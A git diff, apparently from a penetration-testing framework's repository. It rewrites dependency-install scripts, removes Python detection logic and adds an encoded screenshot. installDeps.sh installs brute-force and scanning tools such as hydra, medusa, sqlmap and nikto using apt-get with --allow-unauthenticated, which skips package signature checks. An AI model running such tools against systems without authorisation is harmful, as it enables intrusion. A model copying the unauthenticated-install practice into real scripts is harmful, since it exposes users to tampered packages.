pipBin='Missing' - fi - fi - ;; - *) - if [[ ${pipVersion} == *"3.7"* ]]; then - echo "Found Python 3.6 and PIP 3.7. Let's try to switch to Python 3.7 or PIP 3.6." - if [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython4 != *"not found"* ]]; then - pythonBin='python3.7' - pythonVersion='3.7' - elif [[ $testForPython2 == *"3.7"* ]] && [[ $testForPython2 != *"not found"* ]]; then - pythonBin='python3' - pythonVersion='3.7' - elif [[ $testForPython == *"3.7"* ]] && [[ $testForPython != *"not found"* ]]; then - pythonBin='python3' - pythonVersion='3.7' - elif [[ $testForPip3 == *"3.6"* ]] && [[ $testForPip3 != *"not found"* ]]; then - pipBin='pip3.6' - pipVersion='3.6' - elif [[ $testForPip2 == *"3.6"* ]] && [[ $testForPip2 != *"not found"* ]]; then - pipBin='pip3' - pipVersion='3.6' - elif [[ $testForPip == *"3.6"* ]] && [[ $testForPip != *"not found"* ]]; then - pipBin='pip' - pipVersion='3.6' - else - pipBin='Missing' - fi - else - pipBin='Missing' - fi - ;; - esac -elif [[ ${pythonVersion} == *"3.8"* ]] && [[ ${pipVersion} != *"3.8"* ]]; then - case ${pipBin} in - 3.6) - echo "Found Python 3.8 but no PIP 3.8. Let's try to use Python 3.7 instead, or locate PIP 3.8." - if [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython3 != *"not found"* ]]; then - pythonBin='python3.7' - pythonVersion='3.7' - elif [[ $testForPython2 == *"3.7"* ]] && [[ $testForPython2 != *"not found"* ]]; then - pythonBin='python3' - pythonVersion='3.7' - elif [[ $testForPython == *"3.7"* ]] && [[ $testForPython != *"not found"* ]]; then - pythonBin='python' - pythonVersion='3.7' - elif [[ $testForPip5 == *"3.8"* ]] && [[ $testForPip4 != *"not found"* ]]; then - pipBin='pip3.8' - pipVersion='3.8' - elif [[ $testForPip2 == *"3.8"* ]] && [[ $testForPip2 != *"not found"* ]]; then - pipBin='pip3' - pipVersion='3.8' - elif [[ $testForPip == *"3.8"* ]] && [[ $testForPip != *"not found"* ]]; then - pipBin='pip' - pipVersion='3.8' - else - pipBin='Missing' - echo "Python 3.8 is installed, however PIP 3.8 is not installed and neither is Python 3.7. Please install PIP 3.8." - fi - ;; - 3) - if [[ ${pipBin} != *"3.6"* ]] && [[ ${pipBin} != *"3.7"* ]]; then - if [[ ${pipVersion} == *"3.6"* ]]; then - echo "Found Python 3.8 but PIP 3.6. Let's try to use Python 3.6 instead, or switch to PIP 3.8." - if [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then - pythonBin='python3.6' - pythonVersion='3.6' - elif [[ $testForPython2 == *"3.6"* ]] && [[ $testForPython2 != *"not found"* ]]; then - pythonBin='python3' - pythonVersion='3.6' - elif [[ $testForPython == *"3.6"* ]] && [[ $testForPython != *"not found"* ]]; then - pythonBin='python' - pythonVersion='3.6' - else - echo "Python 3.6 is not installed yet PIP 3.6 is. Let's look for PIP 3.8." - if [[ $testForPip5 == *"3.8"* ]] && [[ $testForPip4 != *"not found"* ]]; then - pipBin='pip3.8' - pipVersion='3.8' - elif [[ $testForPip2 == *"3.7"* ]] && [[ $testForPip2 != *"not found"* ]]; then - pipBin='pip3' - pipVersion='3.8' - elif [[ $testForPip == *"3.7"* ]] && [[ $testForPip != *"not found"* ]]; then - pipBin='pip' - pipVersion='3.8' - else - echo "PIP 3.8 not found either. Please install PIP 3.8." - pipBin='Missing' - fi - fi - else - pipBin='Missing' - echo "Python 3.8 is installed, but neither PIP 3.8, PIP 3.7, nor PIP 3.6 were found. Please install PIP 3.8." - fi - fi - ;; - *) - if [[ ${pipVersion} == *"3.7"* ]]; then - echo "Found Python 3.8 but only PIP 3.7 was found. Let's try to use Python 3.7 instead, or switch to PIP 3.8." - if [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython3 != *"not found"* ]]; then - pythonBin='python3.7' - pythonVersion='3.7' - elif [[ $testForPython2 == *"3.7"* ]] && [[ $testForPython2 != *"not found"* ]]; then - pythonBin='python3' - pythonVersion='3.7' - elif [[ $testForPython == *"3.7"* ]] && [[ $testForPython != *"not found"* ]]; then - pythonBin='python' - pythonVersion='3.7' - else - echo "Python 3.8 is not installed yet PIP 3. is. Let's look for PIP 3.8." - if [[ $testForPip5 == *"3.8"* ]] && [[ $testForPip4 != *"not found"* ]]; then - pipBin='pip3.8' - pipVersion='3.8' - elif [[ $testForPip2 == *"3.8"* ]] && [[ $testForPip2 != *"not found"* ]]; then - pipBin='pip3' - pipVersion='3.8' - elif [[ $testForPip == *"3.8"* ]] && [[ $testForPip != *"not found"* ]]; then - pipBin='pip' - pipVersion='3.8' - else - echo "PIP 3.8 not found either. Please install PIP 3.8." - pipBin='Missing' - fi - fi - else - pipBin='Missing' - echo "Python 3.8 is installed, but neither PIP 3.8, PIP 3.7, nor PIP 3.6 were found. Please install PIP 3.8." - fi - ;; - esac -fi - -echo "Python 3 bin is ${pythonBin} ($(which ${pythonBin}))" -echo "Pip 3 bin is ${pipBin} ($(which ${pipBin}))" - -export PYTHON3BIN=$(which ${pythonBin}) -export PIP3BIN=$(which ${pipBin}) diff --git a/deps/fixQt.sh b/deps/fixQt.sh new file mode 100755 index 00000000..8c1eaad8 --- /dev/null +++ b/deps/fixQt.sh @@ -0,0 +1,4 @@ +#!/bin/bash + +strip --remove-section=.note.ABI-tag /usr/local/lib/python3.8/dist-packages/PyQt6/Qt6/lib/libQt6Core.so.6 +strip --remove-section=.note.ABI-tag /usr/lib/x86_64-linux-gnu/libQt5Core.so.5 diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 9fa150d3..ce9ceeb0 100755 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -10,11 +10,12 @@ apt-get update -m echo "Installing deps..." export DEBIAN_FRONTEND="noninteractive" -apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap libqt5core5a python-pip ruby perl urlscan git xsltproc -apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install libgl1-mesa-glx +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install sra-toolkit sslscan +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient ldap-utils rwho x11-apps cutycapt featherpad xvfb imagemagick eog hping3 sqlmap libqt5core5a python3-pip ruby perl urlscan git xsltproc hping3 +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install libgl1-mesa-glx libegl-mesa0 libegl1 libxcb-cursor0 libxcb-icccm4 python3-xvfbwrapper python3-selenium phantomjs libxcb-image0 libxcb-keysyms1 libxcb-render-util0 libxcb-xkb1 libxkbcommon-x11-0 apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install dnsmap apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install wapiti -apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install python-impacket +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install python3-impacket apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install whatweb apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install medusa -apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install postgresql postgresql-server-dev-all +#apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install postgresql postgresql-server-dev-all diff --git a/deps/installPython36.sh b/deps/installPython36.sh deleted file mode 100755 index d75a922a..00000000 --- a/deps/installPython36.sh +++ /dev/null @@ -1,60 +0,0 @@ -#!/bin/bash - -source ./deps/apt.sh -source ./deps/detectPython.sh - -if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] | [[ -z "${PYTHON3BIN}" ]] | [[ -z "${PIP3BIN}" ]] -then - echo "Installing python 3.6 or 3.7 from APT..." - echo "Checking Apt..." - runAptGetUpdate - echo "Install Python 3.6 or 3.7 and Pip 3.6 or 3.7 from APT..." - apt-get install -yqqqq python3 python3-pip -else - if [[ ${PYTHON3BIN} == *"3.7"* ]]; then - echo "Python 3.7 found!" - elif [[ ${PYTHON3BIN} == *"3.6"* ]]; then - echo "Python 3.6 found!" - elif [[ ${PYTHON3BIN} == *"3.8"* ]]; then - echo "Python 3.8 found!" - fi - if [[ ${PIP3BIN} == *"3.7"* ]]; then - echo "Pip 3.7 found!" - elif [[ ${PIP3BIN} == *"3.6"* ]]; then - echo "Pip 3.6 found!" - elif [[ ${PIP3BIN} == *"3.8"* ]]; then - echo "Pip 3.8 found!" - fi - - echo "Python3: ${PYTHON3BIN}" - echo "PIP3: ${PIP3BIN}" - exit 0 -fi - -source ./deps/detectPython.sh - -if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] | [[ -z "${PYTHON3BIN}" ]] | [[ -z "${PIP3BIN}" ]] -then - echo "Installing python3.6 from source..." - sudo ./deps/buildPython36.sh -else - echo "Python 3.6 or newer found!" - echo "Python3: ${PYTHON3BIN}" - echo "PIP3: ${PIP3BIN}" - exit 0 -fi - -source ./deps/detectPython.sh - -if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] | [[ -z "${PYTHON3BIN}" ]] | [[ -z "${PIP3BIN}" ]] -then - echo "Everything went wrong trying to get python 3.6 or newer setup. Please do this manually." - echo "Python3: ${PYTHON3BIN}" - echo "PIP3: ${PIP3BIN}" - exit 1 -else - echo "Python 3.6 or newer found!" - echo "Python3: ${PYTHON3BIN}" - echo "PIP3: ${PIP3BIN}" - exit 0 -fi diff --git a/images/legionConsole.png b/images/legionConsole.png new file mode 100755 index 0000000000000000000000000000000000000000..b97975b6047861b7d9059a2cf75580b887850dda GIT binary patch literal 46082 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 